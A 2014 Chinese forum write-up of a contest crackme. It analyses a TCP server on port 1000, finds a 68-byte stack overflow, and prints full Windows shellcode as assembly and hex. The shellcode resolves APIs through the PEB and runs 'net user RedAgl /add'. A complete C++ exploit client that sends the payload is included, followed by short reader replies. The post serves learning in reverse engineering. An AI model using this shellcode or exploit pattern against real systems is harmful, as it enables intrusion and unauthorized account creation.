【新年礼物】简单CM分析
本帖最后由 RedAngel丶 于 2014-1-30 13:35 编辑【文章标题】: 简单CM分析
【文章作者】: RedAgl
【软件名称】: 2012-2013"凌码杯"信息安全大赛-逆向部分(Crackme5)
【软件大小】: 35.0KB
【下载地址】:
【保护方式】: 无
【使用工具】: IDA,OD,VC
【操作平台】: xp
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【CM截图】
【详细过程】
打开程序,用Telnet连接服务器不久后,会自动断开,很奇怪?
一.程序分析
从入口点向下看,可以看到DialogBoxParam,得到DialogFun:0x401687
进入WM_INITDIALOG获取到一些信息:
INADDR_ANY:1000
1.创建TCP套接字
如果失败则退出程序
2.绑定IP
如果失败则退出程序
3.监听,最大等待队列为5
4.创建线程进行连接操作.listen_ThreadFun:0x40147A
进入listen_ThreadFun:
1.接受连接
如果失败则延迟1000ms,再循环
2.发现断开原因了:
.text:004014CE call accept
.text:004014D4 mov , eax
.text:004014D7 cmp , 0FFFFFFFFh
.text:004014DB jnz short loc_4014EA
.text:004014DD push 3E8h
.text:004014E2 call Sleep
.text:004014E8 jmp short loc_4014A7
.text:004014EA mov eax,
.text:004014ED push eax
.text:004014EE call Operation
.text:004014F3 mov eax,
.text:004014F6 push eax
.text:004014F7 call closesocket
.text:004014FD jmp short loc_4014A7
可以从上面代码看出,接受连接后并没有创建线程进行循环收发数据,而是经过Operation函数处理后直接关闭套接字
进入Operation函数:
.text:004013DD lea eax,
.text:004013E0 push eax
.text:004013E1 mov eax,
.text:004013E4 push eax
.text:004013E5 call _recv
.text:004013EA cmp dword_405004, 1 ; 判断A
.text:004013F1 jz loc_40146F
.text:004013F7 cmp dword_405000, 0 ; 判断B
.text:004013FE jz short loc_4013DD
有二个判断,进入_recv函数:
.text:0040135B mov , eax
.text:0040135E cmp , 0FFFFFFFFh
.text:00401362 jnz short loc_401373
.text:00401364 mov dword_405004, 1 ; 标志,无"end"字串,置1
.text:0040136E jmp loc_4013B3
.text:00401373 cmp , 1
.text:00401377 jnz loc_4013B3
.text:0040137D inc
.text:00401380 cmp , 3
.text:00401384 jle short loc_401347
.text:00401386 push 3
.text:00401388 push offset aEnd ; "end"
.text:0040138D mov eax,
.text:00401390 mov edx,
.text:00401393 lea eax,
.text:00401397 push eax
.text:00401398 call sub_4018A0
.text:0040139D add esp, 0Ch
.text:004013A0 cmp eax, 0
.text:004013A3 jnz short loc_401347
.text:004013A5 mov dword_405000, 1 ; 标志,获取成功返回,置1
.text:004013AF jmp short loc_4013B3
从上可以得知:
置1,为没检测到"end"
置1,为获取成功返回
很直观的看出Operation函数的判断A是如没检测到"end",便直接跳出循环,关闭套接字
我们可以不管有没有"end"这个字符串,因为它已经接收数据,并且把缓冲区溢出了.....
二.定位点
可以在od中定位,本人这里用枚举的方式
从图中可以看出,在数据长度为68时出错,修改代码并用od验证下:
只要在retu处跳到要修改的位置便可
三.ShellCode编写
貌似此cm对空字符不感冒,但还是使用正常点的ShelloCode吧
思路:
1.利用PEB获取kernel32.dll基址
2.枚举kernel32.dll里的导出表,获取GetProcAddress函数地址
3.用GetProcAddress获取GetModuleHandle函数地址
4.用GetModuleHandle获取msvcrt.dll.(因为程序己加载msvcrt.dll.如果没有,请用LoadLibrary)
5.使用msvcrt.system("net user RedAgl /add")来创建受限帐户
6.怕程序异常,使用ExitProcess退出程序(好吧,暂不懂的如何平衡=. =)
ShellCode原型:
__asm
{
push ebp;
mov ebp,esp;
sub esp,64;
xor eax,eax
mov eax,fs:;
mov eax,;
mov esi,;
lodsd;
mov edi,; //kernel32.dll BaseImage
mov eax,;
mov edx,;
add edx,edi
mov ecx,; //导出函数总数
mov ebx,; //导出函数名称地址表RVA
add ebx,edi; //导出函数名称地址表->内存地址
s:
dec ecx;
//cmp ecx,-1;
//jle end;
mov esi,; //获取函数名称RVA
add esi,edi; //获取函数名称内存地址
// GetProcAddress
mov eax,0x50746547;
cmp ,eax;
jne s;
mov eax,0x41636f72;
cmp ,eax;
jne s;
//循环结束
//如果找到函数名
mov ebx,; //获取函数序号RVA
add ebx,edi; //获取函数序号内存地址
mov cx,; //计算出序号值
mov ebx,; //导出函数地址表RVA
add ebx,edi; //导出函数地址表内存地址
mov eax,;
add eax,edi; //函数地址
//找到后地址后,现在要GetProcAddress(edi, "GetModuleHandleA")
mov dword ptr ss:,eax //保存GetProcAddress函数地址
xor ecx,ecx;
mov byte ptr ss:,cl
mov dword ptr ss:,0x41656C64
mov dword ptr ss:,0x6E614865;
mov dword ptr ss:,0x6C75646F;
mov dword ptr ss:,0x4D746547;
lea eax,;
push eax;
push edi;
call dword ptr ss:;
mov ,eax //保存GetModuleHandleA函数地址
//GetModuleHandleA("msvcrt");
xor ecx,ecx;
mov byte ptr ss:,cl;
mov word ptr ss:,0x7472;
mov dword ptr ss:,0x6376736D;
lea eax,;
push eax;
call dword ptr ss:;
mov dword ptr ss:,eax;
//获取system函数地址:GetProcAddress(, "system")
xor ecx,ecx;
mov byte ptr ss:,cl;
mov word ptr ss:,0x6D65;
mov dword ptr ss:,0x74737973;
lea eax,;
push eax;
push dword ptr ss:;
call dword ptr ss:;
mov dword ptr ss:,eax;
//system(net user RedAgl /add);
xor ecx,ecx;
mov dword ptr ss:,ecx;
mov dword ptr ss:,0x6464612F;
mov dword ptr ss:,0x206C6741;
mov dword ptr ss:,0x64655220;
mov dword ptr ss:,0x72657375;
mov dword ptr ss:,0x2074656E;
lea eax,;
push eax;
call dword ptr ss:;
end:
//获取ExitProcess函数地址.GetProcAddress(edi,"ExitProcess")
xor ecx,ecx
mov byte ptr ss:,cl;
mov word ptr ss:,0x7373;
mov byte ptr ss:,0x65;
mov dword ptr ss:,0x636F7250;
mov dword ptr ss:,0x74697845;
lea eax,dword ptr ss:;
push eax;
push edi;
call dword ptr ss:
//结束进程
xor ecx,ecx
push ecx
call eax
add esp,64;
pop ebp;
ret;
ShellCode十六进制:
55 8B EC 83 EC 40 33 C0 64 8B 40 30 8B 40 0C 8B 70 1C AD 8B 78 08 8B 47 3C 8B 54 07 78 03 D7 8B
4A 18 8B 5A 20 03 DF 49 8B 34 8B 03 F7 B8 47 65 74 50 39 06 75 F1 B8 72 6F 63 41 39 46 04 75 E7
8B 5A 24 03 DF 66 8B 0C 4B 8B 5A 1C 03 DF 8B 04 8B 03 C7 36 89 45 FC 33 C9 36 88 4D FB 36 C7 45
F7 64 6C 65 41 36 C7 45 F3 65 48 61 6E 36 C7 45 EF 6F 64 75 6C 36 C7 45 EB 47 65 74 4D 8D 45 EB
50 57 36 FF 55 FC 89 45 F8 33 C9 36 88 4D F7 66 36 C7 45 F5 72 74 36 C7 45 F1 6D 73 76 63 8D 45
F1 50 36 FF 55 F8 36 89 45 F4 33 C9 36 88 4D F3 66 36 C7 45 F1 65 6D 36 C7 45 ED 73 79 73 74 8D
45 ED 50 36 FF 75 F4 36 FF 55 FC 36 89 45 F0 33 C9 36 89 4D EC 36 C7 45 E8 2F 61 64 64 36 C7 45
E4 41 67 6C 20 36 C7 45 E0 20 52 65 64 36 C7 45 DC 75 73 65 72 36 C7 45 D8 6E 65 74 20 8D 45 D8
50 36 FF 55 F0 33 C9 36 88 4D EF 66 36 C7 45 ED 73 73 36 C6 45 EC 65 36 C7 45 E8 50 72 6F 63 36
C7 45 E4 45 78 69 74 36 8D 45 E4 50 57 36 FF 55 FC 33 C9 51 FF D0 83 C4 40 5D C3
}
编写代码,测试下:
最终源码:
#include <iostream>
#include "windows.h"
#pragma comment(lib, "ws2_32.lib")
using namespace std;
void _close(SOCKET);
char ShellCode[] =
"\x12\x45\xFA\x7F\x41\x41\x41\x41"
"\x55\x8B\xEC\x83\xEC\x40\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x78\x08\x8B\x47\x3C\x8B\x54\x07\x78\x03\xD7\x8B"
"\x4A\x18\x8B\x5A\x20\x03\xDF\x49\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7"
"\x8B\x5A\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B\x04\x8B\x03\xC7\x36\x89\x45\xFC\x33\xC9\x36\x88\x4D\xFB\x36\xC7\x45"
"\xF7\x64\x6C\x65\x41\x36\xC7\x45\xF3\x65\x48\x61\x6E\x36\xC7\x45\xEF\x6F\x64\x75\x6C\x36\xC7\x45\xEB\x47\x65\x74\x4D\x8D\x45\xEB"
"\x50\x57\x36\xFF\x55\xFC\x89\x45\xF8\x33\xC9\x36\x88\x4D\xF7\x66\x36\xC7\x45\xF5\x72\x74\x36\xC7\x45\xF1\x6D\x73\x76\x63\x8D\x45"
"\xF1\x50\x36\xFF\x55\xF8\x36\x89\x45\xF4\x33\xC9\x36\x88\x4D\xF3\x66\x36\xC7\x45\xF1\x65\x6D\x36\xC7\x45\xED\x73\x79\x73\x74\x8D"
"\x45\xED\x50\x36\xFF\x75\xF4\x36\xFF\x55\xFC\x36\x89\x45\xF0\x33\xC9\x36\x89\x4D\xEC\x36\xC7\x45\xE8\x2F\x61\x64\x64\x36\xC7\x45"
"\xE4\x41\x67\x6C\x20\x36\xC7\x45\xE0\x20\x52\x65\x64\x36\xC7\x45\xDC\x75\x73\x65\x72\x36\xC7\x45\xD8\x6E\x65\x74\x20\x8D\x45\xD8"
"\x50\x36\xFF\x55\xF0\x33\xC9\x36\x88\x4D\xEF\x66\x36\xC7\x45\xED\x73\x73\x36\xC6\x45\xEC\x65\x36\xC7\x45\xE8\x50\x72\x6F\x63\x36"
"\xC7\x45\xE4\x45\x78\x69\x74\x36\x8D\x45\xE4\x50\x57\x36\xFF\x55\xFC\x33\xC9\x51\xFF\xD0\x83\xC4\x40\x5D\xC3"
"\x65\x6E\x64";
int main()
{
WSADATA stWSAData = {0};
sockaddr_in stSin = {0};
char buf = {0};
memset(buf, 'A', 68);
memcpy(buf+68, ShellCode, sizeof(ShellCode)-1);
stSin.sin_family = AF_INET;
stSin.sin_port = htons(1000);
stSin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
WSAStartup(0x0202, &stWSAData);
SOCKET hS = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if(hS == INVALID_SOCKET)
{
_close(hS);
system("pause");
return 0;
}
int c = connect(hS, (sockaddr *)&stSin, sizeof(stSin));
if(c == SOCKET_ERROR)
{
_close(hS);
system("pause");
return 0;
}
cout<<"-->连接服务器成功"<<endl;
send(hS, buf, sizeof(buf)-1, 0);
cout<<"-->发送成功"<<endl;
_close(hS);
system("pause");
return 0;
}
//
// 目的: 扫尾
//
void _close(SOCKET s)
{
if(s != -1)
{
closesocket(s);
}
WSACleanup();
}
--------------------------------------------------------------------------------
【经验总结】
这是我刚注册论坛时,有人发了该系统(1-5)cm,当时什么都不会,第5题更不知要干什么?经过一年的学习,现在翻出来,发
现是非常简单的.
本人认为此cm不算为测试强度,而是对初学者的练习,算练习性的cm吧
这破文算是对自己的一个鼓励
在这里祝大家新年快乐,发红包喽 {:301_978:}
--------------------------------------------------------------------------------
【版权声明】: 本文原创于RedAgl, 转载请注明作者并保持文章的完整, 谢谢!
支持 支持 膜拜大牛! 研究shellcode这么勤奋! 实在是大神! 呵呵,今天还发教程呀, 不明觉厉. 虽然不懂但还是顶一个
{:1_932:}学习了! 回帖有奖励! 大神啊 我也正在学习